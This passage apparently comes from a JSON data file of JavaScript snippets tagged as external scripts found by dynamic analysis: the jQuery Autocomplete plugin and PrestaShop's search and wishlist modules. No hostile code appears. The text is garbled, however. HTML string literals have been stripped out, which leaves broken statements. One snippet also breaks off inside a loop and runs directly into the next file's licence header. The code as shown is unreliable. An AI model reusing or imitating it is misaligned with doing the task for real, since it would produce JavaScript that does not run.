true);\t\t}\t}).bind(\"search\", function() {\t\t// TODO why not just specifying both arguments?\t\tvar fn = (arguments.length > 1) ? arguments[1] : null;\t\tfunction findValueCallback(q, data) {\t\t\tvar result;\t\t\tif( data && data.length ) {\t\t\t\tfor (var i=0; i < data.length; i++) {\t\t\t\t\tif( data[i].result.toLowerCase() == q.toLowerCase() ) {\t\t\t\t\t\tresult = data[i];\t\t\t\t\t\tbreak;\t\t\t\t\t}\t\t\t\t}\t\t\t}\t\t\tif( typeof fn == \"function\" ) fn(result);\t\t\telse $input.trigger(\"result\", result && [result.data, result.value]);\t\t}\t\t$.each(trimWords($input.val()), function(i, value) {\t\t\trequest(value, findValueCallback, findValueCallback);\t\t});\t}).bind(\"flushCache\", function() {\t\tcache.flush();\t}).bind(\"setOptions\", function() {\t\t$.extend(options, arguments[1]);\t\t// if we've updated the data, repopulate\t\tif ( \"data\" in arguments[1] )\t\t\tcache.populate();\t}).bind(\"unautocomplete\", function() {\t\tselect.unbind();\t\t$input.unbind();\t\t$(input.form).unbind(\".autocomplete\");\t});\t\t\tfunction selectCurrent() {\t\tvar selected = select.selected();\t\tif( !selected )\t\t\treturn false;\t\t\t\tvar v = selected.result;\t\tpreviousValue = v;\t\t\t\tif ( options.multiple ) {\t\t\tvar words = trimWords($input.val());\t\t\tif ( words.length > 1 ) {\t\t\t\tv = words.slice(0, words.length - 1).join( options.multipleSeparator ) + options.multipleSeparator + v;\t\t\t}\t\t\tv += options.multipleSeparator;\t\t}\t\t\t\t$input.val(v);\t\thideResultsNow();\t\t$input.trigger(\"result\", [selected.data, selected.value]);\t\treturn true;\t}\t\tfunction onChange(crap, skipPrevCheck) {\t\tif( lastKeyPressCode == KEY.DEL ) {\t\t\tselect.hide();\t\t\treturn;\t\t}\t\t\t\tvar currentValue = $input.val();\t\t\t\tif ( !skipPrevCheck && currentValue == previousValue )\t\t\treturn;\t\t\t\tpreviousValue = currentValue;\t\t\t\tcurrentValue = lastWord(currentValue);\t\tif ( currentValue.length >= options.minChars) {\t\t\t$input.addClass(options.loadingClass);\t\t\tif (!options.matchCase)\t\t\t\tcurrentValue = currentValue.toLowerCase();\t\t\trequest(currentValue, receiveData, hideResultsNow);\t\t} else {\t\t\tstopLoading();\t\t\tselect.hide();\t\t}\t};\t\tfunction trimWords(value) {\t\tif ( !value ) {\t\t\treturn [\"\"];\t\t}\t\tvar words = value.split( options.multipleSeparator );\t\tvar result = [];\t\t$.each(words, function(i, value) {\t\t\tif ( $.trim(value) )\t\t\t\tresult[i] = $.trim(value);\t\t});\t\treturn result;\t}\t\tfunction lastWord(value) {\t\tif ( !options.multiple )\t\t\treturn value;\t\tvar words = trimWords(value);\t\treturn words[words.length - 1];\t}\t\t// fills in the input box w/the first match (assumed to be the best match)\t// q: the term entered\t// sValue: the first matching result\tfunction autoFill(q, sValue){\t\t// autofill in the complete box w/the first match as long as the user hasn't entered in more data\t\t// if the last user key pressed was backspace, don't autofill\t\tif( options.autoFill && (lastWord($input.val()).toLowerCase() == q.toLowerCase()) && lastKeyPressCode != KEY.BACKSPACE ) {\t\t\t// fill in the value (keep the case the user has typed)\t\t\t$input.val($input.val() + sValue.substring(lastWord(previousValue).length));\t\t\t// select the portion of the value not typed by the user (so the next character will erase)\t\t\t$.Autocompleter.Selection(input, previousValue.length, previousValue.length + sValue.length);\t\t}\t};\tfunction hideResults() {\t\tclearTimeout(timeout);\t\ttimeout = setTimeout(hideResultsNow, 200);\t};\tfunction hideResultsNow() {\t\tvar wasVisible = select.visible();\t\tselect.hide();\t\tclearTimeout(timeout);\t\tstopLoading();\t\tif (options.mustMatch) {\t\t\t// call search and run callback\t\t\t$input.search(\t\t\t\tfunction (result){\t\t\t\t\t// if no value found, clear the input box\t\t\t\t\tif( !result ) {\t\t\t\t\t\tif (options.multiple) {\t\t\t\t\t\t\tvar words = trimWords($input.val()).slice(0, -1);\t\t\t\t\t\t\t$input.val( words.join(options.multipleSeparator) + (words.length ? options.multipleSeparator : \"\") );\t\t\t\t\t\t}\t\t\t\t\t\telse\t\t\t\t\t\t\t$input.val( \"\" );\t\t\t\t\t}\t\t\t\t}\t\t\t);\t\t}\t\tif (wasVisible)\t\t\t// position cursor at end of input field\t\t\t$.Autocompleter.Selection(input, input.value.length, input.value.length);\t};\tfunction receiveData(q, data) {\t\tif ( data && data.length && hasFocus ) {\t\t\tstopLoading();\t\t\tselect.display(data, q);\t\t\tautoFill(q, data[0].value);\t\t\tselect.show();\t\t} else {\t\t\thideResultsNow();\t\t}\t};\tfunction request(term, success, failure) {\t\tif (!options.matchCase)\t\t\tterm = term.toLowerCase();\t\tvar data = cache.load(term);\t\t// recieve the cached data\t\tif (data && data.length) {\t\t\tsuccess(term, data);\t\t// if an AJAX url has been supplied, try loading the data now\t\t} else if( (typeof options.url == \"string\") && (options.url.length > 0) ){\t\t\t\t\t\tvar extraParams = {\t\t\t\ttimestamp: +new Date()\t\t\t};\t\t\t$.each(options.extraParams, function(key, param) {\t\t\t\textraParams[key] = typeof param == \"function\" ? param() : param;\t\t\t});\t\t\t\t\t\t$.ajax({\t\t\t\t// try to leverage ajaxQueue plugin to abort previous requests\t\t\t\tmode: \"abort\",\t\t\t\t// limit abortion to this input\t\t\t\tport: \"autocomplete\" + input.name,\t\t\t\tdataType: options.dataType,\t\t\t\turl: options.url,\t\t\t\tdata: $.extend({\t\t\t\t\tq: lastWord(term),\t\t\t\t\tlimit: options.max\t\t\t\t}, extraParams),\t\t\t\tsuccess: function(data) {\t\t\t\t\tvar parsed = options.parse && options.parse(data) || parse(data);\t\t\t\t\tcache.add(term, parsed);\t\t\t\t\tsuccess(term, parsed);\t\t\t\t}\t\t\t});\t\t} else {\t\t\t// if we have a failure, we need to empty the list -- this prevents the the [TAB] key from selecting the last successful match\t\t\tselect.emptyList();\t\t\tfailure(term);\t\t}\t};\t\tfunction parse(data) {\t\tvar parsed = [];\t\tvar rows = data.split(\"\\n\");\t\tfor (var i=0; i < rows.length; i++) {\t\t\tvar row = $.trim(rows[i]);\t\t\tif (row) {\t\t\t\trow = row.split(\"|\");\t\t\t\tparsed[parsed.length] = {\t\t\t\t\tdata: row,\t\t\t\t\tvalue: row[0],\t\t\t\t\tresult: options.formatResult && options.formatResult(row, row[0]) || row[0]\t\t\t\t};\t\t\t}\t\t}\t\treturn parsed;\t};\tfunction stopLoading() {\t\t$input.removeClass(options.loadingClass);\t};};$.Autocompleter.defaults = {\tinputClass: \"ac_input\",\tresultsClass: \"ac_results\",\tloadingClass: \"ac_loading\",\tminChars: 1,\tdelay: 400,\tmatchCase: false,\tmatchSubset: true,\tmatchContains: false,\tcacheLength: 10,\tmax: 100,\tmustMatch: false,\textraParams: {},\tselectFirst: true,\tformatItem: function(row) { return row[0]; },\tformatMatch: null,\tautoFill: false,\twidth: 0,\tmultiple: false,\tmultipleSeparator: \", \",\thighlight: function(value, term) {\t\treturn value.replace(new RegExp(\"(?![^&;]+;)(?!<[^<>]*)(\" + term.replace(/([\\^\\$\\(\\)\\[\\]\\{\\}\\*\\.\\+\\?\\|\\\\])/gi, \"\\\\$1\") + \")(?![^<>]*>)(?![^&;]+;)\", \"gi\"), \"$1\");\t}, scroll: true, scrollHeight: 180};$.Autocompleter.Cache = function(options) {\tvar data = {};\tvar length = 0;\t\tfunction matchSubset(s, sub) {\t\tif (!options.matchCase) \t\t\ts = s.toLowerCase();\t\tvar i = s.indexOf(sub);\t\tif (i == -1) return false;\t\treturn i == 0 || options.matchContains;\t};\t\tfunction add(q, value) {\t\tif (length > options.cacheLength){\t\t\tflush();\t\t}\t\tif (!data[q]){ \t\t\tlength++;\t\t}\t\tdata[q] = value;\t}\t\tfunction populate(){\t\tif( !options.data ) return false;\t\t// track the matches\t\tvar stMatchSets = {},\t\t\tnullData = 0;\t\t// no url was specified, we need to adjust the cache length to make sure it fits the local data store\t\tif( !options.url ) options.cacheLength = 1;\t\t\t\t// track all options for minChars = 0\t\tstMatchSets[\"\"] = [];\t\t\t\t// loop through the array and create a lookup structure\t\tfor ( var i = 0, ol = options.data.length; i < ol; i++ ) {\t\t\tvar rawValue = options.data[i];\t\t\t// if rawValue is a string, make an array otherwise just reference the array\t\t\trawValue = (typeof rawValue == \"string\") ? [rawValue] : rawValue;\t\t\t\t\t\tvar value = options.formatMatch(rawValue, i+1, options.data.length);\t\t\tif ( value === false )\t\t\t\tcontinue;\t\t\t\t\t\t\tvar firstChar = value.charAt(0).toLowerCase();\t\t\t// if no lookup array for this character exists, look it up now\t\t\tif( !stMatchSets[firstChar] ) \t\t\t\tstMatchSets[firstChar] = [];\t\t\t// if the match is a string\t\t\tvar row = {\t\t\t\tvalue: value,\t\t\t\tdata: rawValue,\t\t\t\tresult: options.formatResult && options.formatResult(rawValue) || value\t\t\t};\t\t\t\t\t\t// push the current match into the set list\t\t\tstMatchSets[firstChar].push(row);\t\t\t// keep track of minChars zero items\t\t\tif ( nullData++ < options.max ) {\t\t\t\tstMatchSets[\"\"].push(row);\t\t\t}\t\t};\t\t// add the data items to the cache\t\t$.each(stMatchSets, function(i, value) {\t\t\t// increase the cache size\t\t\toptions.cacheLength++;\t\t\t// add to the cache\t\t\tadd(i, value);\t\t});\t}\t\t// populate any existing data\tsetTimeout(populate, 25);\t\tfunction flush(){\t\tdata = {};\t\tlength = 0;\t}\t\treturn {\t\tflush: flush,\t\tadd: add,\t\tpopulate: populate,\t\tload: function(q) {\t\t\tif (!options.cacheLength || !length)\t\t\t\treturn null;\t\t\t/* \t\t\t * if dealing w/local data and matchContains than we must make sure\t\t\t * to loop through all the data collections looking for matches\t\t\t */\t\t\tif( !options.url && options.matchContains ){\t\t\t\t// track all matches\t\t\t\tvar csub = [];\t\t\t\t// loop through all the data grids for matches\t\t\t\tfor( var k in data ){\t\t\t\t\t// don't search through the stMatchSets[\"\"] (minChars: 0) cache\t\t\t\t\t// this prevents duplicates\t\t\t\t\tif( k.length > 0 ){\t\t\t\t\t\tvar c = data[k];\t\t\t\t\t\t$.each(c, function(i, x) {\t\t\t\t\t\t\t// if we've got a match, add it to the array\t\t\t\t\t\t\tif (matchSubset(x.value, q)) {\t\t\t\t\t\t\t\tcsub.push(x);\t\t\t\t\t\t\t}\t\t\t\t\t\t});\t\t\t\t\t}\t\t\t\t}\t\t\t\t\t\t\t\treturn csub;\t\t\t} else \t\t\t// if the exact item exists, use it\t\t\tif (data[q]){\t\t\t\treturn data[q];\t\t\t} else\t\t\tif (options.matchSubset) {\t\t\t\tfor (var i = q.length - 1; i >= options.minChars; i--) {\t\t\t\t\tvar c = data[q.substr(0, i)];\t\t\t\t\tif (c) {\t\t\t\t\t\tvar csub = [];\t\t\t\t\t\t$.each(c, function(i, x) {\t\t\t\t\t\t\tif (matchSubset(x.value, q)) {\t\t\t\t\t\t\t\tcsub[csub.length] = x;\t\t\t\t\t\t\t}\t\t\t\t\t\t});\t\t\t\t\t\treturn csub;\t\t\t\t\t}\t\t\t\t}\t\t\t}\t\t\treturn null;\t\t}\t};};$.Autocompleter.Select = function (options, input, select, config) {\tvar CLASSES = {\t\tACTIVE: \"ac_over\"\t};\t\tvar listItems,\t\tactive = -1,\t\tdata,\t\tterm = \"\",\t\tneedsInit = true,\t\telement,\t\tlist;\t\t// Create results\tfunction init() {\t\tif (!needsInit)\t\t\treturn;\t\telement = $(\"
\")\t\t.hide()\t\t.addClass(options.resultsClass)\t\t.css(\"position\", \"absolute\")\t\t.appendTo(document.body);\t\t\tlist = $(\"
    \").appendTo(element).mouseover( function(event) {\t\t\tif(target(event).nodeName && target(event).nodeName.toUpperCase() == 'LI') {\t active = $(\"li\", list).removeClass(CLASSES.ACTIVE).index(target(event));\t\t\t $(target(event)).addClass(CLASSES.ACTIVE); \t }\t\t}).click(function(event) {\t\t\t$(target(event)).addClass(CLASSES.ACTIVE);\t\t\tselect();\t\t\t// TODO provide option to avoid setting focus again after selection? useful for cleanup-on-focus\t\t\tinput.focus();\t\t\treturn false;\t\t}).mousedown(function() {\t\t\tconfig.mouseDownOnSelect = true;\t\t}).mouseup(function() {\t\t\tconfig.mouseDownOnSelect = false;\t\t});\t\t\t\tif( options.width > 0 )\t\t\telement.css(\"width\", options.width);\t\t\t\t\tneedsInit = false;\t} \t\tfunction target(event) {\t\tvar element = event.target;\t\twhile(element && element.tagName != \"LI\")\t\t\telement = element.parentNode;\t\t// more fun with IE, sometimes event.target is empty, just ignore it then\t\tif(!element)\t\t\treturn [];\t\treturn element;\t}\tfunction moveSelect(step) {\t\tlistItems.slice(active, active + 1).removeClass(CLASSES.ACTIVE);\t\tmovePosition(step); var activeItem = listItems.slice(active, active + 1).addClass(CLASSES.ACTIVE); if(options.scroll) { var offset = 0; listItems.slice(0, active).each(function() {\t\t\t\toffset += this.offsetHeight;\t\t\t}); if((offset + activeItem[0].offsetHeight - list.scrollTop()) > list[0].clientHeight) { list.scrollTop(offset + activeItem[0].offsetHeight - list.innerHeight()); } else if(offset < list.scrollTop()) { list.scrollTop(offset); } }\t};\t\tfunction movePosition(step) {\t\tactive += step;\t\tif (active < 0) {\t\t\tactive = listItems.size() - 1;\t\t} else if (active >= listItems.size()) {\t\t\tactive = 0;\t\t}\t}\t\tfunction limitNumberOfItems(available) {\t\treturn options.max && options.max < available\t\t\t? options.max\t\t\t: available;\t}\t\tfunction fillList() {\t\tlist.empty();\t\tvar max = limitNumberOfItems(data.length);\t\tfor (var i=0; i < max; i++) {\t\t\tif (!data[i])\t\t\t\tcontinue;\t\t\tvar formatted = options.formatItem(data[i].data, i+1, max, data[i].value, term);\t\t\tif ( formatted === false )\t\t\t\tcontinue;\t\t\tvar li = $(\"
  • \").html( options.highlight(formatted, term) ).addClass(i%2 == 0 ? \"ac_even\" : \"ac_odd\").appendTo(list)[0];\t\t\t$.data(li, \"ac_data\", data[i]);\t\t}\t\tlistItems = list.find(\"li\");\t\tif ( options.selectFirst ) {\t\t\tlistItems.slice(0, 1).addClass(CLASSES.ACTIVE);\t\t\tactive = 0;\t\t}\t\t// apply bgiframe if available\t\tif ( $.fn.bgiframe )\t\t\tlist.bgiframe();\t}\t\treturn {\t\tdisplay: function(d, q) {\t\t\tinit();\t\t\tdata = d;\t\t\tterm = q;\t\t\tfillList();\t\t},\t\tnext: function() {\t\t\tmoveSelect(1);\t\t},\t\tprev: function() {\t\t\tmoveSelect(-1);\t\t},\t\tpageUp: function() {\t\t\tif (active != 0 && active - 8 < 0) {\t\t\t\tmoveSelect( -active );\t\t\t} else {\t\t\t\tmoveSelect(-8);\t\t\t}\t\t},\t\tpageDown: function() {\t\t\tif (active != listItems.size() - 1 && active + 8 > listItems.size()) {\t\t\t\tmoveSelect( listItems.size() - 1 - active );\t\t\t} else {\t\t\t\tmoveSelect(8);\t\t\t}\t\t},\t\thide: function() {\t\t\telement && element.hide();\t\t\tlistItems && listItems.removeClass(CLASSES.ACTIVE);\t\t\tactive = -1;\t\t},\t\tvisible : function() {\t\t\treturn element && element.is(\":visible\");\t\t},\t\tcurrent: function() {\t\t\treturn this.visible() && (listItems.filter(\".\" + CLASSES.ACTIVE)[0] || options.selectFirst && listItems[0]);\t\t},\t\tshow: function() {\t\t\tvar offset = $(input).offset();\t\t\telement.css({\t\t\t\twidth: typeof options.width == \"string\" || options.width > 0 ? options.width : ($(input).width() + parseInt($(input).css('padding-left')) + parseInt($(input).css('padding-right')) + parseInt($(input).css('margin-left')) + parseInt($(input).css('margin-right'))),\t\t\t\ttop: offset.top + input.offsetHeight,\t\t\t\tleft: offset.left\t\t\t}).show(); if(options.scroll) { list.css({\t\t\t\t\tmaxHeight: options.scrollHeight,\t\t\t\t\toverflow: 'auto'\t\t\t\t});\t\t\t\t if($.browser.msie && typeof document.body.style.maxHeight === \"undefined\") {\t\t\t\t\tvar listHeight = 0;\t\t\t\t\tlistItems.each(function() {\t\t\t\t\t\tlistHeight += this.offsetHeight;\t\t\t\t\t});\t\t\t\t\tvar scrollbarsVisible = listHeight > options.scrollHeight; list.css('height', scrollbarsVisible ? options.scrollHeight : listHeight );\t\t\t\t\tif (!scrollbarsVisible) {\t\t\t\t\t\t// IE doesn't recalculate width when scrollbar disappears\t\t\t\t\t\tlistItems.width( list.width() - parseInt(listItems.css(\"padding-left\")) - parseInt(listItems.css(\"padding-right\")) );\t\t\t\t\t} } }\t\t},\t\tselected: function() {\t\t\tvar selected = listItems && listItems.filter(\".\" + CLASSES.ACTIVE).removeClass(CLASSES.ACTIVE);\t\t\treturn selected && selected.length && $.data(selected[0], \"ac_data\");\t\t},\t\temptyList: function (){\t\t\tlist && list.empty();\t\t},\t\tunbind: function() {\t\t\telement && element.remove();\t\t}\t};};$.Autocompleter.Selection = function(field, start, end) {\tif( field.createTextRange ){\t\tvar selRange = field.createTextRange();\t\tselRange.collapse(true);\t\tselRange.moveStart(\"character\", start);\t\tselRange.moveEnd(\"character\", end);\t\tselRange.select();\t} else if( field.setSelectionRange ){\t\tfield.setSelectionRange(start, end);\t} else {\t\tif( field.selectionStart ){\t\t\tfield.selectionStart = start;\t\t\tfield.selectionEnd = end;\t\t}\t}\tfield.focus();};})(jQuery);", "relationship": "External", "method": "Dynamic Analysis", "language": "Javascript" }, { "snippet": "/** 2007-2015 PrestaShop** NOTICE OF LICENSE** This source file is subject to the Academic Free License (AFL 3.0)* that is bundled with this package in the file LICENSE.txt.* It is also available through the world-wide-web at this URL:* http://opensource.org/licenses/afl-3.0.php* If you did not receive a copy of the license and are unable to* obtain it through the world-wide-web, please send an email* to license@prestashop.com so we can send you a copy immediately.** DISCLAIMER** Do not edit or add to this file if you wish to upgrade PrestaShop to newer* versions in the future. If you wish to customize PrestaShop for your* needs please refer to http://www.prestashop.com for more information.** @author PrestaShop SA * @copyright 2007-2015 PrestaShop SA* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0)* International Registered Trademark & Property of PrestaShop SA*/var instantSearchQueries = [];$(document).ready(function(){\tif (typeof blocksearch_type == 'undefined')\t\treturn;\tvar $input = $(\"#search_query_\" + blocksearch_type);\tvar width_ac_results = \t$input.parent('form').outerWidth();\tif (typeof ajaxsearch != 'undefined' && ajaxsearch) {\t\t$input.autocomplete(\t\t\tsearch_url,\t\t\t{\t\t\t\tminChars: 3,\t\t\t\tmax: 10,\t\t\t\twidth: (width_ac_results > 0 ? width_ac_results : 500),\t\t\t\tselectFirst: false,\t\t\t\tscroll: false,\t\t\t\tdataType: \"json\",\t\t\t\tformatItem: function(data, i, max, value, term) {\t\t\t\t\treturn value;\t\t\t\t},\t\t\t\tparse: function(data) {\t\t\t\t\tvar mytab = [];\t\t\t\t\tfor (var i = 0; i < data.length; i++)\t\t\t\t\t\tmytab[mytab.length] = { data: data[i], value: data[i].cname + ' > ' + data[i].pname };\t\t\t\t\treturn mytab;\t\t\t\t},\t\t\t\textraParams: {\t\t\t\t\tajaxSearch: 1,\t\t\t\t\tid_lang: id_lang\t\t\t\t}\t\t\t}\t\t)\t\t.result(function(event, data, formatted) {\t\t\t$input.val(data.pname);\t\t\tdocument.location.href = data.product_link;\t\t});\t}\tif (typeof instantsearch != 'undefined' && instantsearch) {\t\t$input.on('keyup', function(){\t\t\tif($(this).val().length > 4)\t\t\t{\t\t\t\tstopInstantSearchQueries();\t\t\t\tinstantSearchQuery = $.ajax({\t\t\t\t\turl: search_url + '?rand=' + new Date().getTime(),\t\t\t\t\tdata: {\t\t\t\t\t\tinstantSearch: 1,\t\t\t\t\t\tid_lang: id_lang,\t\t\t\t\t\tq: $(this).val()\t\t\t\t\t},\t\t\t\t\tdataType: 'html',\t\t\t\t\ttype: 'POST',\t\t\t\t\theaders: { \"cache-control\": \"no-cache\" },\t\t\t\t\tasync: true,\t\t\t\t\tcache: false,\t\t\t\t\tsuccess: function(data){\t\t\t\t\t\tif ($input.val().length > 0) {\t\t\t\t\t\t\ttryToCloseInstantSearch();\t\t\t\t\t\t\t$('#center_column').attr('id', 'old_center_column');\t\t\t\t\t\t\t$('#old_center_column').after('
    ' + data + '
    ').hide();\t\t\t\t\t\t\t// Button override\t\t\t\t\t\t\tajaxCart.overrideButtonsInThePage();\t\t\t\t\t\t\t$(\"#instant_search_results a.close\").on('click', function() {\t\t\t\t\t\t\t\t$input.val('');\t\t\t\t\t\t\t\treturn tryToCloseInstantSearch();\t\t\t\t\t\t\t});\t\t\t\t\t\t\treturn false;\t\t\t\t\t\t}\t\t\t\t\t\telse\t\t\t\t\t\t\ttryToCloseInstantSearch();\t\t\t\t\t}\t\t\t\t});\t\t\t\tinstantSearchQueries.push(instantSearchQuery);\t\t\t}\t\t\telse\t\t\t\ttryToCloseInstantSearch();\t\t});\t}});function tryToCloseInstantSearch(){\tvar $oldCenterColumn = $('#old_center_column');\tif ($oldCenterColumn.length > 0)\t{\t\t$('#center_column').remove();\t\t$oldCenterColumn.attr('id', 'center_column').show();\t\treturn false;\t}}function stopInstantSearchQueries(){\tfor(var i=0; i* @copyright 2007-2015 PrestaShop SA* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0)* International Registered Trademark & Property of PrestaShop SA*//*** Update WishList Cart by adding, deleting, updating objects** @return void*///global variablesvar wishlistProductsIds = [];$(document).ready(function(){\twishlistRefreshStatus();\t$(document).on('change', 'select[name=wishlists]', function(){\t\tWishlistChangeDefault('wishlist_block_list', $(this).val());\t});\t$(\"#wishlist_button\").popover({\t\thtml: true,\t\tcontent: function () { \treturn $(\"#popover-content\").html(); \t} \t}); \t$('.wishlist').each(function() { \t\tcurrent = $(this); \t\t$(this).children('.wishlist_button_list').popover({ \t\t\thtml: true, \t\t\tcontent: function () { \t\t\t\treturn current.children('.popover-content').html(); \t\t\t} \t\t}); \t});});function WishlistCart(id, action, id_product, id_product_attribute, quantity, id_wishlist){\t$.ajax({\t\ttype: 'GET',\t\turl: baseDir + 'modules/blockwishlist/cart.php?rand=' + new Date().getTime(),\t\theaders: { \"cache-control\": \"no-cache\" },\t\tasync: true,\t\tcache: false,\t\tdata: 'action=' + action + '&id_product=' + id_product + '&quantity=' + quantity + '&token=' + static_token + '&id_product_attribute=' + id_product_attribute + '&id_wishlist=' + id_wishlist,\t\tsuccess: function(data)\t\t{\t\t\tif (action == 'add')\t\t\t{\t\t\t\tif (isLogged == true) {\t\t\t\t\twishlistProductsIdsAdd(id_product);\t\t\t\t\twishlistRefreshStatus();\t\t\t\t\tif (!!$.prototype.fancybox)\t\t\t\t\t\t$.fancybox.open([\t\t\t\t\t\t\t{\t\t\t\t\t\t\t\ttype: 'inline',\t\t\t\t\t\t\t\tautoScale: true,\t\t\t\t\t\t\t\tminHeight: 30,\t\t\t\t\t\t\t\tcontent: '

    ' + added_to_wishlist + '

    '\t\t\t\t\t\t\t}\t\t\t\t\t\t], {\t\t\t\t\t\t\tpadding: 0\t\t\t\t\t\t});\t\t\t\t\telse\t\t\t\t\t\talert(added_to_wishlist);\t\t\t\t}\t\t\t\telse\t\t\t\t{\t\t\t\t\tif (!!$.prototype.fancybox)\t\t\t\t\t\t$.fancybox.open([\t\t\t\t\t\t\t{\t\t\t\t\t\t\t\ttype: 'inline',\t\t\t\t\t\t\t\tautoScale: true,\t\t\t\t\t\t\t\tminHeight: 30,\t\t\t\t\t\t\t\tcontent: '

    ' + loggin_required + '

    '\t\t\t\t\t\t\t}\t\t\t\t\t\t], {\t\t\t\t\t\t\tpadding: 0\t\t\t\t\t\t});\t\t\t\t\telse\t\t\t\t\t\talert(loggin_required);\t\t\t\t}\t\t\t}\t\t\tif (action == 'delete') {\t\t\t\twishlistProductsIdsRemove(id_product);\t\t\t\twishlistRefreshStatus();\t\t\t}\t\t\tif($('#' + id).length != 0)\t\t\t{\t\t\t\t$('#' + id).slideUp('normal');\t\t\t\tdocument.getElementById(id).innerHTML = data;\t\t\t\t$('#' + id).slideDown('normal');\t\t\t}\t\t}\t});}/*** Change customer default wishlist** @return void*/function WishlistChangeDefault(id, id_wishlist){\t$.ajax({\t\ttype: 'GET',\t\turl: baseDir + 'modules/blockwishlist/cart.php?rand=' + new Date().getTime(),\t\theaders: { \"cache-control\": \"no-cache\" },\t\tasync: true,\t\tdata: 'id_wishlist=' + id_wishlist + '&token=' + static_token,\t\tcache: false,\t\tsuccess: function(data)\t\t{\t\t\t$('#' + id).slideUp('normal');\t\t\tdocument.getElementById(id).innerHTML = data;\t\t\t$('#' + id).slideDown('normal');\t\t}\t});}/*** Buy Product** @return void*/function WishlistBuyProduct(token, id_product, id_product_attribute, id_quantity, button, ajax){\tif(ajax)\t\tajaxCart.add(id_product, id_product_attribute, false, button, 1, [token, id_quantity]);\telse\t{\t\t$('#' + id_quantity).val(0);\t\tWishlistAddProductCart(token, id_product, id_product_attribute, id_quantity)\t\tdocument.forms['addtocart' + '_' + id_product + '_' + id_product_attribute].method='POST';\t\tdocument.forms['addtocart' + '_' + id_product + '_' + id_product_attribute].action=baseUri + '?controller=cart';\t\tdocument.forms['addtocart' + '_' + id_product + '_' + id_product_attribute].elements['token'].value = static_token;\t\tdocument.forms['addtocart' + '_' + id_product + '_' + id_product_attribute].submit();\t}\treturn (true);}function WishlistAddProductCart(token, id_product, id_product_attribute, id_quantity){\tif ($('#' + id_quantity).val() <= 0)\t\treturn (false);\t$.ajax({\t\t\ttype: 'GET',\t\t\turl: baseDir + 'modules/blockwishlist/buywishlistproduct.php?rand=' + new Date().getTime(),\t\t\theaders: { \"cache-control\": \"no-cache\" },\t\t\tdata: 'token=' + token + '&static_token=' + static_token + '&id_product=' + id_product + '&id_product_attribute=' + id_product_attribute,\t\t\tasync: true,\t\t\tcache: false,\t\t\tsuccess: function(data)\t\t\t{\t\t\t\tif (data)\t\t\t\t{\t\t\t\t\tif (!!$.prototype.fancybox)\t\t\t\t\t\t$.fancybox.open([\t\t\t\t\t\t\t{\t\t\t\t\t\t\t\ttype: 'inline',\t\t\t\t\t\t\t\tautoScale: true,\t\t\t\t\t\t\t\tminHeight: 30,\t\t\t\t\t\t\t\tcontent: '

    ' + data + '

    '\t\t\t\t\t\t\t}\t\t\t\t\t\t], {\t\t\t\t\t\t\tpadding: 0\t\t\t\t\t\t});\t\t\t\t\telse\t\t\t\t\t\talert(data);\t\t\t\t}\t\t\t\telse\t\t\t\t\t$('#' + id_quantity).val($('#' + id_quantity).val() - 1);\t\t\t}\t});\treturn (true);}/*** Show wishlist managment page** @return void*/function WishlistManage(id, id_wishlist){\t$.ajax({\t\ttype: 'GET',\t\tasync: true,\t\turl: baseDir + 'modules/blockwishlist/managewishlist.php?rand=' + new Date().getTime(),\t\theaders: { \"cache-control\": \"no-cache\" },\t\tdata: 'id_wishlist=' + id_wishlist + '&refresh=' + false,\t\tcache: false,\t\tsuccess: function(data)\t\t{\t\t\t$('#' + id).hide();\t\t\tdocument.getElementById(id).innerHTML = data;\t\t\t$('#' + id).fadeIn('slow');\t\t\t$('.wishlist_change_button').each(function(index) {\t\t\t\t$(this).popover({\t\t\t\t\thtml: true,\t\t\t\t\tcontent: function () {\t \t\t\t\treturn $(this).next('.popover-content').html();\t \t\t\t}\t \t\t \t});\t\t\t});\t\t}\t});}/*** Show wishlist product managment page** @return void*/function WishlistProductManage(id, action, id_wishlist, id_product, id_product_attribute, quantity, priority){\t$.ajax({\t\ttype: 'GET',\t\tasync: true,\t\turl: baseDir + 'modules/blockwishlist/managewishlist.php?rand=' + new Date().getTime(),\t\theaders: { \"cache-control\": \"no-cache\" },\t\tdata: 'action=' + action + '&id_wishlist=' + id_wishlist + '&id_product=' + id_product + '&id_product_attribute=' + id_product_attribute + '&quantity=' + quantity + '&priority=' + priority + '&refresh=' + true,\t\tcache: false,\t\tsuccess: function(data)\t\t{\t\t\tif (action == 'delete')\t\t\t\t$('#wlp_' + id_product + '_' + id_product_attribute).fadeOut('fast');\t\t\telse if (action == 'update')\t\t\t{\t\t\t\t$('#wlp_' + id_product + '_' + id_product_attribute).fadeOut('fast');\t\t\t\t$('#wlp_' + id_product + '_' + id_product_attribute).fadeIn('fast');\t\t\t}\t\t\tnb_products = 0;\t\t\t$(\"[id^='quantity']\").each(function(index, element){\t\t\t\tnb_products += parseInt(element.value);\t\t\t});\t\t\t$(\"#wishlist_\"+id_wishlist).children('td').eq(1).html(nb_products);\t\t}\t});}/*** Delete wishlist** @return boolean succeed*/function WishlistDelete(id, id_wishlist, msg){\tvar res = confirm(msg);\tif (res == false)\t\treturn (false);\tif (typeof mywishlist_url == 'undefined')\t\treturn (false);\t$.ajax({\t\ttype: 'GET',\t\tasync: true,\t\tdataType: \"json\",\t\turl: mywishlist_url,\t\theaders: { \"cache-control\": \"no-cache\" },\t\tcache: false,\t\tdata: {\t\t\trand: new Date().getTime(),\t\t\tdeleted: 1,\t\t\tmyajax: 1,\t\t\tid_wishlist: id_wishlist,\t\t\taction: 'deletelist'\t\t},\t\tsuccess: function(data)\t\t{\t\t\tvar mywishlist_siblings_count = $('#' + id).siblings().length;\t\t\t$('#' + id).fadeOut('slow').remove();\t\t\t$(\"#block-order-detail\").html('');\t\t\tif (mywishlist_siblings_count == 0)\t\t\t\t$(\"#block-history\").remove();\t\t\tif (data.id_default)\t\t\t{\t\t\t\tvar td_default = $(\"#wishlist_\"+data.id_default+\" > .wishlist_default\");\t\t\t\t$(\"#wishlist_\"+data.id_default+\" > .wishlist_default > a\").remove();\t\t\t\ttd_default.append('

